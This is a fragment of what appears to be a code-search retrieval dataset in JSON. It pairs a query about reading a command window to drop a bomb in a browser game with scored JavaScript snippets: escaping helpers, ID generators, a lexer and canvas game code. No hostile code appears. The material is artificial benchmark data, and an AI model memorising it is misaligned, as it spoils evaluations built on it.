"d6538c0ef4e6c411719ac8c1f2ce3169", "score": "0.5068366", "text": "function escape(data) {\n return data.replace(reEscapeChars, singleCharReplacer);\n}", "title": "" }, { "docid": "d6538c0ef4e6c411719ac8c1f2ce3169", "score": "0.5068366", "text": "function escape(data) {\n return data.replace(reEscapeChars, singleCharReplacer);\n}", "title": "" }, { "docid": "d6538c0ef4e6c411719ac8c1f2ce3169", "score": "0.5068366", "text": "function escape(data) {\n return data.replace(reEscapeChars, singleCharReplacer);\n}", "title": "" }, { "docid": "d6538c0ef4e6c411719ac8c1f2ce3169", "score": "0.5068366", "text": "function escape(data) {\n return data.replace(reEscapeChars, singleCharReplacer);\n}", "title": "" }, { "docid": "b55b4bac3d7583eb8c2c0e674ad5caed", "score": "0.50670445", "text": "function p(e,t){\n// not handling '\\' and handling \\u2028 or \\u2029 to unicode escape sequence\n// not handling '\\' and handling \\u2028 or \\u2029 to unicode escape sequence\nreturn 8232===(-2&e)?(t?\"u\":\"\\\\u\")+(8232===e?\"2028\":\"2029\"):10===e||13===e?(t?\"\":\"\\\\\")+(10===e?\"n\":\"r\"):String.fromCharCode(e)}", "title": "" }, { "docid": "8c0cc0d8c221e3772c1c1538d415c50b", "score": "0.50631744", "text": "function convert_to_id(inputString){\n\tvar string = inputString.split(\" \");\n\tvar returnThis = \"\";\n\tfor(var i = 0; i < string.length - 1; i++){\n\t\tif(checkForSymbol(string[i]) != \"\"){\n\t\t\treturnThis = returnThis + string[i].replace(/[^A-Za-z0-9]/g, '') + \"\";\n\t\t}\n\t}\n\treturnThis = returnThis + string[string.length-1].replace(/[^A-Za-z0-9]/g, '');\n\treturn returnThis;\n}", "title": "" }, { "docid": "c8c71cedb3d949364423dc6635542b0c", "score": "0.5062396", "text": "function ObjectId(text){\n return text;\n}", "title": "" }, { "docid": "30c14f485185d927704eac70236f2754", "score": "0.506087", "text": "processEscapeSequence() {\n const peek = () => this.internalState.peek;\n if (peek() === $BACKSLASH) {\n // We have hit an escape sequence so we need the internal state to become independent\n // of the external state.\n this.internalState = Object.assign({}, this.state);\n // Move past the backslash\n this.advanceState(this.internalState);\n // First check for standard control char sequences\n if (peek() === $n) {\n this.state.peek = $LF;\n }\n else if (peek() === $r) {\n this.state.peek = $CR;\n }\n else if (peek() === $v) {\n this.state.peek = $VTAB;\n }\n else if (peek() === $t) {\n this.state.peek = $TAB;\n }\n else if (peek() === $b) {\n this.state.peek = $BSPACE;\n }\n else if (peek() === $f) {\n this.state.peek = $FF;\n }\n // Now consider more complex sequences\n else if (peek() === $u) {\n // Unicode code-point sequence\n this.advanceState(this.internalState); // advance past the `u` char\n if (peek() === $LBRACE) {\n // Variable length Unicode, e.g. `\\x{123}`\n this.advanceState(this.internalState); // advance past the `{` char\n // Advance past the variable number of hex digits until we hit a `}` char\n const digitStart = this.clone();\n let length = 0;\n while (peek() !== $RBRACE) {\n this.advanceState(this.internalState);\n length++;\n }\n this.state.peek = this.decodeHexDigits(digitStart, length);\n }\n else {\n // Fixed length Unicode, e.g. `\\u1234`\n const digitStart = this.clone();\n this.advanceState(this.internalState);\n this.advanceState(this.internalState);\n this.advanceState(this.internalState);\n this.state.peek = this.decodeHexDigits(digitStart, 4);\n }\n }\n else if (peek() === $x) {\n // Hex char code, e.g. `\\x2F`\n this.advanceState(this.internalState); // advance past the `x` char\n const digitStart = this.clone();\n this.advanceState(this.internalState);\n this.state.peek = this.decodeHexDigits(digitStart, 2);\n }\n else if (isOctalDigit(peek())) {\n // Octal char code, e.g. `\\012`,\n let octal = '';\n let length = 0;\n let previous = this.clone();\n while (isOctalDigit(peek()) && length < 3) {\n previous = this.clone();\n octal += String.fromCodePoint(peek());\n this.advanceState(this.internalState);\n length++;\n }\n this.state.peek = parseInt(octal, 8);\n // Backup one char\n this.internalState = previous.internalState;\n }\n else if (isNewLine(this.internalState.peek)) {\n // Line continuation `\\` followed by a new line\n this.advanceState(this.internalState); // advance over the newline\n this.state = this.internalState;\n }\n else {\n // If none of the `if` blocks were executed then we just have an escaped normal character.\n // In that case we just, effectively, skip the backslash from the character.\n this.state.peek = this.internalState.peek;\n }\n }\n }", "title": "" }, { "docid": "8a197e2726d64bf13aee158ab5250915", "score": "0.50608313", "text": "function makeId() {\n var text = '';\n var possible = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n\n for (var i = 0; i < 5; i++)\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n\n return text;\n }", "title": "" }, { "docid": "671b1699f96f82e23c80e7a8486bb92c", "score": "0.5056695", "text": "function makeid(){\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n\t//generate the 10 character text variable while the text variable is already included in the orgs hash. this prevents duplicates by chance\n\n for( var i=0; i < 15; i++ ){\n\t text += possible.charAt(Math.floor(Math.random() * possible.length));\n }\n\n return text;\n}", "title": "" }, { "docid": "b4efd075fb77050ac13b06efce84ee2f", "score": "0.50553775", "text": "function path_id_selector(inputString){\n\tvar string = inputString.split(\" \");\n\tvar returnThis = \"#T\";\n\tfor(var i = 0; i < string.length - 1; i++){\n\t\tif(checkForSymbol(string[i]) != \"\"){\n\t\t\treturnThis = returnThis + string[i].replace(/[^A-Za-z0-9]/g, '') + \"\";\n\t\t}\n\t}\n\treturnThis = returnThis + string[string.length-1].replace(/[^A-Za-z0-9]/g, '');\n\treturn returnThis.toString();\n}", "title": "" }, { "docid": "3e0e6c8d483a467852bfc4c231039f8a", "score": "0.50515765", "text": "function isIdentifierPart(ch) {\n\t\t // Generated by `tools/generate-identifier-regex.js`.\n\t\t var NonAsciiIdentifierPart = new RegExp('[\\xAA\\xB5\\xBA\\xC0-\\xD6\\xD8-\\xF6\\xF8-\\u02C1\\u02C6-\\u02D1\\u02E0-\\u02E4\\u02EC\\u02EE\\u0300-\\u0374\\u0376\\u0377\\u037A-\\u037D\\u037F\\u0386\\u0388-\\u038A\\u038C\\u038E-\\u03A1\\u03A3-\\u03F5\\u03F7-\\u0481\\u0483-\\u0487\\u048A-\\u052F\\u0531-\\u0556\\u0559\\u0561-\\u0587\\u0591-\\u05BD\\u05BF\\u05C1\\u05C2\\u05C4\\u05C5\\u05C7\\u05D0-\\u05EA\\u05F0-\\u05F2\\u0610-\\u061A\\u0620-\\u0669\\u066E-\\u06D3\\u06D5-\\u06DC\\u06DF-\\u06E8\\u06EA-\\u06FC\\u06FF\\u0710-\\u074A\\u074D-\\u07B1\\u07C0-\\u07F5\\u07FA\\u0800-\\u082D\\u0840-\\u085B\\u08A0-\\u08B2\\u08E4-\\u0963\\u0966-\\u096F\\u0971-\\u0983\\u0985-\\u098C\\u098F\\u0990\\u0993-\\u09A8\\u09AA-\\u09B0\\u09B2\\u09B6-\\u09B9\\u09BC-\\u09C4\\u09C7\\u09C8\\u09CB-\\u09CE\\u09D7\\u09DC\\u09DD\\u09DF-\\u09E3\\u09E6-\\u09F1\\u0A01-\\u0A03\\u0A05-\\u0A0A\\u0A0F\\u0A10\\u0A13-\\u0A28\\u0A2A-\\u0A30\\u0A32\\u0A33\\u0A35\\u0A36\\u0A38\\u0A39\\u0A3C\\u0A3E-\\u0A42\\u0A47\\u0A48\\u0A4B-\\u0A4D\\u0A51\\u0A59-\\u0A5C\\u0A5E\\u0A66-\\u0A75\\u0A81-\\u0A83\\u0A85-\\u0A8D\\u0A8F-\\u0A91\\u0A93-\\u0AA8\\u0AAA-\\u0AB0\\u0AB2\\u0AB3\\u0AB5-\\u0AB9\\u0ABC-\\u0AC5\\u0AC7-\\u0AC9\\u0ACB-\\u0ACD\\u0AD0\\u0AE0-\\u0AE3\\u0AE6-\\u0AEF\\u0B01-\\u0B03\\u0B05-\\u0B0C\\u0B0F\\u0B10\\u0B13-\\u0B28\\u0B2A-\\u0B30\\u0B32\\u0B33\\u0B35-\\u0B39\\u0B3C-\\u0B44\\u0B47\\u0B48\\u0B4B-\\u0B4D\\u0B56\\u0B57\\u0B5C\\u0B5D\\u0B5F-\\u0B63\\u0B66-\\u0B6F\\u0B71\\u0B82\\u0B83\\u0B85-\\u0B8A\\u0B8E-\\u0B90\\u0B92-\\u0B95\\u0B99\\u0B9A\\u0B9C\\u0B9E\\u0B9F\\u0BA3\\u0BA4\\u0BA8-\\u0BAA\\u0BAE-\\u0BB9\\u0BBE-\\u0BC2\\u0BC6-\\u0BC8\\u0BCA-\\u0BCD\\u0BD0\\u0BD7\\u0BE6-\\u0BEF\\u0C00-\\u0C03\\u0C05-\\u0C0C\\u0C0E-\\u0C10\\u0C12-\\u0C28\\u0C2A-\\u0C39\\u0C3D-\\u0C44\\u0C46-\\u0C48\\u0C4A-\\u0C4D\\u0C55\\u0C56\\u0C58\\u0C59\\u0C60-\\u0C63\\u0C66-\\u0C6F\\u0C81-\\u0C83\\u0C85-\\u0C8C\\u0C8E-\\u0C90\\u0C92-\\u0CA8\\u0CAA-\\u0CB3\\u0CB5-\\u0CB9\\u0CBC-\\u0CC4\\u0CC6-\\u0CC8\\u0CCA-\\u0CCD\\u0CD5\\u0CD6\\u0CDE\\u0CE0-\\u0CE3\\u0CE6-\\u0CEF\\u0CF1\\u0CF2\\u0D01-\\u0D03\\u0D05-\\u0D0C\\u0D0E-\\u0D10\\u0D12-\\u0D3A\\u0D3D-\\u0D44\\u0D46-\\u0D48\\u0D4A-\\u0D4E\\u0D57\\u0D60-\\u0D63\\u0D66-\\u0D6F\\u0D7A-\\u0D7F\\u0D82\\u0D83\\u0D85-\\u0D96\\u0D9A-\\u0DB1\\u0DB3-\\u0DBB\\u0DBD\\u0DC0-\\u0DC6\\u0DCA\\u0DCF-\\u0DD4\\u0DD6\\u0DD8-\\u0DDF\\u0DE6-\\u0DEF\\u0DF2\\u0DF3\\u0E01-\\u0E3A\\u0E40-\\u0E4E\\u0E50-\\u0E59\\u0E81\\u0E82\\u0E84\\u0E87\\u0E88\\u0E8A\\u0E8D\\u0E94-\\u0E97\\u0E99-\\u0E9F\\u0EA1-\\u0EA3\\u0EA5\\u0EA7\\u0EAA\\u0EAB\\u0EAD-\\u0EB9\\u0EBB-\\u0EBD\\u0EC0-\\u0EC4\\u0EC6\\u0EC8-\\u0ECD\\u0ED0-\\u0ED9\\u0EDC-\\u0EDF\\u0F00\\u0F18\\u0F19\\u0F20-\\u0F29\\u0F35\\u0F37\\u0F39\\u0F3E-\\u0F47\\u0F49-\\u0F6C\\u0F71-\\u0F84\\u0F86-\\u0F97\\u0F99-\\u0FBC\\u0FC6\\u1000-\\u1049\\u1050-\\u109D\\u10A0-\\u10C5\\u10C7\\u10CD\\u10D0-\\u10FA\\u10FC-\\u1248\\u124A-\\u124D\\u1250-\\u1256\\u1258\\u125A-\\u125D\\u1260-\\u1288\\u128A-\\u128D\\u1290-\\u12B0\\u12B2-\\u12B5\\u12B8-\\u12BE\\u12C0\\u12C2-\\u12C5\\u12C8-\\u12D6\\u12D8-\\u1310\\u1312-\\u1315\\u1318-\\u135A\\u135D-\\u135F\\u1380-\\u138F\\u13A0-\\u13F4\\u1401-\\u166C\\u166F-\\u167F\\u1681-\\u169A\\u16A0-\\u16EA\\u16EE-\\u16F8\\u1700-\\u170C\\u170E-\\u1714\\u1720-\\u1734\\u1740-\\u1753\\u1760-\\u176C\\u176E-\\u1770\\u1772\\u1773\\u1780-\\u17D3\\u17D7\\u17DC\\u17DD\\u17E0-\\u17E9\\u180B-\\u180D\\u1810-\\u1819\\u1820-\\u1877\\u1880-\\u18AA\\u18B0-\\u18F5\\u1900-\\u191E\\u1920-\\u192B\\u1930-\\u193B\\u1946-\\u196D\\u1970-\\u1974\\u1980-\\u19AB\\u19B0-\\u19C9\\u19D0-\\u19D9\\u1A00-\\u1A1B\\u1A20-\\u1A5E\\u1A60-\\u1A7C\\u1A7F-\\u1A89\\u1A90-\\u1A99\\u1AA7\\u1AB0-\\u1ABD\\u1B00-\\u1B4B\\u1B50-\\u1B59\\u1B6B-\\u1B73\\u1B80-\\u1BF3\\u1C00-\\u1C37\\u1C40-\\u1C49\\u1C4D-\\u1C7D\\u1CD0-\\u1CD2\\u1CD4-\\u1CF6\\u1CF8\\u1CF9\\u1D00-\\u1DF5\\u1DFC-\\u1F15\\u1F18-\\u1F1D\\u1F20-\\u1F45\\u1F48-\\u1F4D\\u1F50-\\u1F57\\u1F59\\u1F5B\\u1F5D\\u1F5F-\\u1F7D\\u1F80-\\u1FB4\\u1FB6-\\u1FBC\\u1FBE\\u1FC2-\\u1FC4\\u1FC6-\\u1FCC\\u1FD0-\\u1FD3\\u1FD6-\\u1FDB\\u1FE0-\\u1FEC\\u1FF2-\\u1FF4\\u1FF6-\\u1FFC\\u200C\\u200D\\u203F\\u2040\\u2054\\u2071\\u207F\\u2090-\\u209C\\u20D0-\\u20DC\\u20E1\\u20E5-\\u20F0\\u2102\\u2107\\u210A-\\u2113\\u2115\\u2119-\\u211D\\u2124\\u2126\\u2128\\u212A-\\u212D\\u212F-\\u2139\\u213C-\\u213F\\u2145-\\u2149\\u214E\\u2160-\\u2188\\u2C00-\\u2C2E\\u2C30-\\u2C5E\\u2C60-\\u2CE4\\u2CEB-\\u2CF3\\u2D00-\\u2D25\\u2D27\\u2D2D\\u2D30-\\u2D67\\u2D6F\\u2D7F-\\u2D96\\u2DA0-\\u2DA6\\u2DA8-\\u2DAE\\u2DB0-\\u2DB6\\u2DB8-\\u2DBE\\u2DC0-\\u2DC6\\u2DC8-\\u2DCE\\u2DD0-\\u2DD6\\u2DD8-\\u2DDE\\u2DE0-\\u2DFF\\u2E2F\\u3005-\\u3007\\u3021-\\u302F\\u3031-\\u3035\\u3038-\\u303C\\u3041-\\u3096\\u3099\\u309A\\u309D-\\u309F\\u30A1-\\u30FA\\u30FC-\\u30FF\\u3105-\\u312D\\u3131-\\u318E\\u31A0-\\u31BA\\u31F0-\\u31FF\\u3400-\\u4DB5\\u4E00-\\u9FCC\\uA000-\\uA48C\\uA4D0-\\uA4FD\\uA500-\\uA60C\\uA610-\\uA62B\\uA640-\\uA66F\\uA674-\\uA67D\\uA67F-\\uA69D\\uA69F-\\uA6F1\\uA717-\\uA71F\\uA722-\\uA788\\uA78B-\\uA78E\\uA790-\\uA7AD\\uA7B0\\uA7B1\\uA7F7-\\uA827\\uA840-\\uA873\\uA880-\\uA8C4\\uA8D0-\\uA8D9\\uA8E0-\\uA8F7\\uA8FB\\uA900-\\uA92D\\uA930-\\uA953\\uA960-\\uA97C\\uA980-\\uA9C0\\uA9CF-\\uA9D9\\uA9E0-\\uA9FE\\uAA00-\\uAA36\\uAA40-\\uAA4D\\uAA50-\\uAA59\\uAA60-\\uAA76\\uAA7A-\\uAAC2\\uAADB-\\uAADD\\uAAE0-\\uAAEF\\uAAF2-\\uAAF6\\uAB01-\\uAB06\\uAB09-\\uAB0E\\uAB11-\\uAB16\\uAB20-\\uAB26\\uAB28-\\uAB2E\\uAB30-\\uAB5A\\uAB5C-\\uAB5F\\uAB64\\uAB65\\uABC0-\\uABEA\\uABEC\\uABED\\uABF0-\\uABF9\\uAC00-\\uD7A3\\uD7B0-\\uD7C6\\uD7CB-\\uD7FB\\uF900-\\uFA6D\\uFA70-\\uFAD9\\uFB00-\\uFB06\\uFB13-\\uFB17\\uFB1D-\\uFB28\\uFB2A-\\uFB36\\uFB38-\\uFB3C\\uFB3E\\uFB40\\uFB41\\uFB43\\uFB44\\uFB46-\\uFBB1\\uFBD3-\\uFD3D\\uFD50-\\uFD8F\\uFD92-\\uFDC7\\uFDF0-\\uFDFB\\uFE00-\\uFE0F\\uFE20-\\uFE2D\\uFE33\\uFE34\\uFE4D-\\uFE4F\\uFE70-\\uFE74\\uFE76-\\uFEFC\\uFF10-\\uFF19\\uFF21-\\uFF3A\\uFF3F\\uFF41-\\uFF5A\\uFF66-\\uFFBE\\uFFC2-\\uFFC7\\uFFCA-\\uFFCF\\uFFD2-\\uFFD7\\uFFDA-\\uFFDC]');\n\n\t\t return (ch === 36) || (ch === 95) || // $ (dollar) and _ (underscore)\n\t\t (ch >= 65 && ch <= 90) || // A..Z\n\t\t (ch >= 97 && ch <= 122) || // a..z\n\t\t (ch >= 48 && ch <= 57) || // 0..9\n\t\t (ch === 92) || // \\ (backslash)\n\t\t ((ch >= 0x80) && NonAsciiIdentifierPart.test(String.fromCharCode(ch)));\n\t\t }", "title": "" }, { "docid": "2371577a7b4e3a63157b137b9941b8ba", "score": "0.504992", "text": "_generateId() {\n var text = \"\";\n var char_list = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n for(var i=0; i < 64; i++ ) { \n text += char_list.charAt(Math.floor(Math.random() * char_list.length));\n }\n return text;\n }", "title": "" }, { "docid": "e06bb1e64c16be69c53359f0855f3417", "score": "0.5048906", "text": "function escapeChars(text) {\n var r = JSON.stringify(text);\n return r.slice(1, r.length - 1);\n }", "title": "" }, { "docid": "f22ade2268b4e21d857845621e788377", "score": "0.5041751", "text": "function getEncodings(chars) {\n const idToChar = {};\n const charToId = {};\n let i = 0;\n chars.forEach((c) => {\n idToChar[i] = c;\n charToId[c] = i;\n i++;\n });\n return [idToChar, charToId];\n}", "title": "" }, { "docid": "1e69e08e40743f0f40f5b2dc121f8764", "score": "0.5040578", "text": "_unicodeEscape(str) {\n let result = '';\n for (let i = 0; i < str.length; i++) {\n const c = str[i];\n const cc = c.charCodeAt(0);\n const hx = cc.toString(16).toUpperCase();\n result += (cc >= 128 || hx.length > 2) && !isNaN(cc) ? `\\\\u${(`0000${hx}`).slice(-4)}` : c;\n }\n return result;\n }", "title": "" }, { "docid": "942984046500278c0f9189a8379eef38", "score": "0.50398314", "text": "searchIds(){ \n let c=0; \n let newid; \n let origin=this.objeto.id;\n while(document.getElementById(this.objeto.id)!=null){ \n newid=origin+c;\n c++; \n this.objeto.id=newid;\n }\n }", "title": "" }, { "docid": "1939fb38e599164268e4c39212076a13", "score": "0.5039339", "text": "function encodeSeparator(result) {\r\n return result + escapeChar + encodedSeparatorChar;\r\n }", "title": "" } ]
0009104bf80f88c2b649982b2ff186d4
read the command window for position to drop a bomb
[ { "docid": "5dc09377541ff059ddeba015f87fb885", "score": "0.6056579", "text": "function readTheCommands(){\n var commandData = document.getElementById(\"command-line\").value;\n var posOfx = commandData.indexOf(\":\");\n var endOfy = commandData.length;\n xTarget = commandData.slice(0,posOfx);\n yTarget = commandData.slice(posOfx+1,endOfy);\n }", "title": "" } ]
[ { "docid": "81deabacaa13df5f515d2dfa430e671d", "score": "0.5739378", "text": "function _gdb_option_pos() {\n\t\tGM_setValue('gdb_pos',\n\t\t\tprompt(\n\t\t\t\t'Please enter the position you want. Valid choices: left, right\\n'+\n\t\t\t\t'NOTE: You will need to re-load GMail for this to take effect',\n\t\t\t\tGM_getValue('gdb_pos', 'left')\n\t\t\t)\n\t\t);\n\t}", "title": "" }, { "docid": "93789ebdf75a26f9da493ff70f8fbf5d", "score": "0.5529679", "text": "function getDroppedPosition($pos,height,width) {\r\r\n\tvar area = $(\"#editorArea\").offset(), maxHeight = $(\"body\").height(), maxWidth = area.left+$(\"#editorArea\").width(), minWidth = area.left, minHeight = area.top;\r\r\n\tvar top = (($pos.top+height > maxHeight) ? maxHeight-height : $pos.top);\r\r\n\tvar left = (($pos.left+width > maxWidth) ? maxWidth-width : $pos.left);\r\r\n\treturn { top: parseInt(top,10), left: parseInt(left,10) };\r\r\n}", "title": "" }, { "docid": "f1247f057cecf4af6961196c2b5ba6ed", "score": "0.54709566", "text": "function dropPiece(){\n clear();\n currentColumn = currentColumn + width;\n draw();\n drawNext();\n stopPiece();\n }", "title": "" }, { "docid": "021f04e499bd9f4b59df854143b9614a", "score": "0.53414655", "text": "createCommandWindow() {\n let commands = [];\n let actions = [];\n let container = Menu.menuCommands;\n let _align;\n let _name;\n for (let i = 0; i < container.length; i++) {\n _align = container[i].command.align;\n _name = container[i].command.name;\n commands[i] = new Graphic.Text(_name, { align: _align });\n actions[i] = container[i].action;\n }\n const rect = new Rectangle(20, 20, 150, WindowBox.MEDIUM_SLOT_HEIGHT);\n const options = {\n nbItemsMax: Menu.menuCommands.length,\n listCallbacks: actions,\n padding: [0, 0, 0, 0]\n };\n this.windowChoicesCommands = new WindowChoices(rect.x, rect.y, rect.width, rect.height, commands, options);\n }", "title": "" }, { "docid": "6a8d30ca4080ef012b09932e1e1d1d32", "score": "0.5206896", "text": "function grab_position()\r\n{\r\n if( (CP_getAttr(\"C_TWEAK_MOVE\",1) !=0 ) &&\r\n (RegExp(\"fleet_action_chooser\").test(window.location.href))\r\n )\r\n {\r\n CP_Log(FA_POS,LOG,\"Position correction\");\r\n correct_position();\r\n }\r\n}", "title": "" }, { "docid": "6a8d30ca4080ef012b09932e1e1d1d32", "score": "0.5206896", "text": "function grab_position()\r\n{\r\n if( (CP_getAttr(\"C_TWEAK_MOVE\",1) !=0 ) &&\r\n (RegExp(\"fleet_action_chooser\").test(window.location.href))\r\n )\r\n {\r\n CP_Log(FA_POS,LOG,\"Position correction\");\r\n correct_position();\r\n }\r\n}", "title": "" }, { "docid": "0c3eca66bd24e26dc1c80c6bc8fafe2b", "score": "0.52024776", "text": "function parsePosition(command) {\n let position = command.split(' ');\n \n if (position[1].includes('startpos')) engine.setBoard(engine.START_FEN);\n else if (position[1] == 'fen') engine.setBoard(command.split('position fen ')[1]);\n \n let moves = command.split('moves ')[1];\n if (moves) { engine.loadMoves(moves); };\n \n engine.printBoard();\n}", "title": "" }, { "docid": "c2bf4a7cb6f32e45293c9126be03284f", "score": "0.51807207", "text": "function dropBomb(event, obj) {\r\n event.preventDefault();\r\n var posx = 0;\r\n var posy = 0;\r\n var e = event || window.event;\r\n \r\n if (e.touches) {\r\n posx = event.touches[0].pageX;\r\n posy = event.touches[0].pageY;\r\n } else if (e.pageX || e.pageY) {\r\n posx = e.pageX;\r\n posy = e.pageY;\r\n } else if (e.clientX || e.clientY) {\r\n posx = e.clientX + document.body.scrollLeft + document.documentElement.scrollLeft;\r\n posy = e.clientY + document.body.scrollTop + document.documentElement.scrollTop;\r\n }\r\n var canvasX = posx-obj.offsetLeft;\r\n var canvasY = posy-obj.offsetTop;\r\n explode(canvasX, canvasY);\r\n}", "title": "" }, { "docid": "3ba4e865513df6cf4e38eb16ab9cef7a", "score": "0.5169357", "text": "static get compositionCursorPos() {}", "title": "" }, { "docid": "34c6c3d6ab28ec0758c721b09bb4d80d", "score": "0.51665264", "text": "drawDroppedItemWindow(){\n\n ctx.save();\n\n //If there are enough drops that we need two columns, this will hold that number\n this.xOffset = 0;\n this.yOffset = 0;\n\n this.startLocation = [(canvas.width)/4, canvas.height/4-150 ];\n\n //Draw window\n ctx.fillStyle = \"#ffffff\";\n ctx.fillRect(this.startLocation[0], this.startLocation[1], canvas.width/2, canvas.height/2);\n ctx.fillStyle = \"#000000\";\n ctx.fillRect(this.startLocation[0]+2, this.startLocation[1]+2, canvas.width/2-4, canvas.height/2-4);\n ctx.fillStyle = \"#ffffff\";\n ctx.fillRect(this.startLocation[0]+4, this.startLocation[1]+4, canvas.width/2-8, canvas.height/2-8);\n ctx.fillStyle = \"#000000\";\n ctx.fillRect(this.startLocation[0]+6, this.startLocation[1]+6, canvas.width/2-12, canvas.height/2-12);\n\n //Draw text\n ctx.fillStyle = \"#ffffff\";\n ctx.font = \"25px Courier\";\n ctx.fillText(\"ITEMS DROPPED...\", this.startLocation[0] + 10, this.startLocation[1] + 30);\n\n //If there are no items dropped, say so\n if(mapLocations.lootList[this.combatLocation][player.locationProgress[this.combatLocation]] == undefined ||\n mapLocations.lootList[this.combatLocation][player.locationProgress[this.combatLocation]].length == 0){\n ctx.fillText(\"None.\", this.startLocation[0] + 10 + this.xOffset, this.startLocation[1] + 60);\n //Update the player's progress for this location\n player.updateLocationProgress(this.combatLocation);\n player.updateCampaignProgress();\n ctx.restore();\n return;\n }\n\n //Draw list of drops\n for(var x = 0; x < mapLocations.lootList[this.combatLocation][player.locationProgress[this.combatLocation]].length; x++){\n //Check the type of loot, and print the information accordingly\n this.output = \"\";\n this.dropType = mapLocations.lootList[this.combatLocation][player.locationProgress[this.combatLocation]][x][1];\n switch(this.dropType){\n case 0: case 1: case 2: case 3:\n this.output = \"~ \" + masterInventoryList[this.dropType][mapLocations.lootList[this.combatLocation][player.locationProgress[this.combatLocation]][x][0]].name;\n break;\n case 4:\n this.output = \"~ \" + mapLocations.lootList[this.combatLocation][player.locationProgress[this.combatLocation]][x][0] + \" malachite\";\n }\n ctx.fillText(this.output, this.startLocation[0] + 10 + this.xOffset, this.startLocation[1] + 60 + ( x * 30 ) + this.yOffset);\n //If there are more than 10 items dropped, print the rest in a second column\n if(x > 10){this.xOffset = 300; this.yOffset = -360;}\n }\n\n for(let x = 0; x < this.increasedStats.length; x++){\n ctx.fillStyle = \"#ffffff\";\n ctx.fillRect(this.startLocation[0] + 620 , this.startLocation[1] + (50 * x), 252, 32);\n ctx.fillStyle = \"#000000\";\n ctx.fillRect(this.startLocation[0]+622, this.startLocation[1]+2 + (50 * x), 248, 28);\n ctx.fillStyle = \"#ffffff\";\n ctx.font = \"13px Courier\";\n ctx.fillText(this.increasedStats[x], this.startLocation[0] + 625, this.startLocation[1] + 16 + (50 * x));\n }\n\n //Add the loot to the player's inventory\n this.giveDroppedItems();\n\n ctx.restore();\n }", "title": "" }, { "docid": "d808ba7b05020446dcfef3fa83c923ed", "score": "0.51472753", "text": "function frame() {\n if( pos > to ){\n clearInterval(id);\n drop(Spalte);\n elem.style.top = to + 'px';\n elem.style.display = \"none\";\n } else {\n elem.style.display = \"block\";\n pos*=1.02;\n elem.style.top = pos + 'px';\n }\n }", "title": "" }, { "docid": "eb2fea6a71f1655312be1137fe0c0f75", "score": "0.5110282", "text": "function clickBoom () {\n\tif(num_boom>0) {\n\t\tpoint += listMonster.length *50;\n\t\tlistMonster.splice(0,listMonster.length);\n\t\tcontext.clearRect(0,0,canvas.width,canvas.height);\n\t\tnum_boom--;\n\t}\n\tloadInfoGame();\n}", "title": "" }, { "docid": "fbfab13dd7406592e42ba7e3852d3794", "score": "0.5093621", "text": "_ungrab() {\n if (utils.shellVersionIsAtLeast(42, 'beta')) {\n this._lastGrab.dismiss();\n } else {\n Main.popModal(this);\n }\n }", "title": "" }, { "docid": "08a12911495c398a1358a7e67a130df0", "score": "0.50707376", "text": "undo() {\n if (isNaN(this.#position)) {\n // Nothing to undo.\n return;\n }\n this.#commands[this.#position][1]();\n if (this.#position === this.#start) {\n this.#position = NaN;\n } else {\n this.#position = (this.#maxSize + this.#position - 1) % this.#maxSize;\n }\n }", "title": "" }, { "docid": "dcac7c795aa12aa1f8c994e505e01693", "score": "0.5047662", "text": "dropDisplay() {\n push();\n noStroke();\n fill(this.fillColor);\n rectMode(CENTER);\n translate(this.x, this.y);\n rotate(this.theta);\n rect(0, 0, this.width, this.height);\n pop();\n }", "title": "" }, { "docid": "ac822e7afe516e65773b4ca0328fef84", "score": "0.5022136", "text": "function dropCursor() {\n return [dropCursorPos, drawDropCursor];\n}", "title": "" }, { "docid": "1629a6cedf0c5df32ecc78986cc4b5b6", "score": "0.5007959", "text": "function bufferPositionFromMouseEvent(editor, event) {\n const sp = atom.views\n .getView(editor)\n .getComponent()\n .screenPositionForMouseEvent(event);\n if (isNaN(sp.row) || isNaN(sp.column)) {\n return;\n }\n return editor.bufferPositionForScreenPosition(sp);\n}", "title": "" }, { "docid": "2158c4d2673693df0b87df17927c668c", "score": "0.49809918", "text": "moveCursorDown() {\r\n cursorX = this.x;\r\n cursorY = this.y + lineGap + charHeight;\r\n }", "title": "" }, { "docid": "ebf26b44e50729bfbcf5e7712fb9390b", "score": "0.49634743", "text": "function grabber(event) {\n\n// Set the global variable for the element to be moved\n\n theElement = event.currentTarget;\n\n// Determine the position of the word to be grabbed,\n// first removing the units from left and top\n\n var posX = parseInt(theElement.style.left);\n var posY = parseInt(theElement.style.top);\n\n// Compute the difference between where it is and\n// where the mouse click occurred\n\n diffX = event.clientX - posX;\n diffY = event.clientY - posY;\n\n// Now register the event handlers for moving and\n// dropping the word\n\n document.addEventListener(\"mousemove\", mover, true);\n document.addEventListener(\"mouseup\", dropper, true);\n\n// Stop propagation of the event and stop any default\n// browser action\n\n event.stopPropagation();\n event.preventDefault();\n\n} //** end of grabber", "title": "" }, { "docid": "46760a30e6c6880cf4e3f5966248c79a", "score": "0.4953337", "text": "function WindowFunction()\n{\n GUILayout.Label( \"This is a draggable window!\" );\n \n // The drag-strip for the window. \n // Coordinates are relative to the top-left of the window.\n GUI.DragWindow( Rect( 0, 0, 150, 20 ) );\n}", "title": "" }, { "docid": "ff2b2789ab5b181756f79c2081bef861", "score": "0.4951288", "text": "function moveCB() {\n console.log('2222');\n }", "title": "" }, { "docid": "33f289ec07dda00d49768bfeb5ae4ec0", "score": "0.49482238", "text": "function dropAPoint() {\n var gunType = document.getElementById('selection').value;\n stage.removeChild(bitmap);\n stage.addChild(smoke);\n // Set the smoke position (equal to command coordinates)\n smoke.x = xTarget;\n smoke.y = yTarget;\n smoke.gotoAndPlay(gunType);\n }", "title": "" }, { "docid": "c953287ed67ace9b6a0a3fab92e1c2b3", "score": "0.49115616", "text": "function GetCursorStartPos(out = new ImVec2()) { return bind.GetCursorStartPos(out); }", "title": "" }, { "docid": "3b22e5bc8f8c4f0cc43fd2dc9d51d597", "score": "0.49040416", "text": "function move_down() {\n\t\t\t$('#character').css('top',parseInt($('#character').css('top')) + 5);\n\t\t}", "title": "" }, { "docid": "3b22e5bc8f8c4f0cc43fd2dc9d51d597", "score": "0.49040416", "text": "function move_down() {\n\t\t\t$('#character').css('top',parseInt($('#character').css('top')) + 5);\n\t\t}", 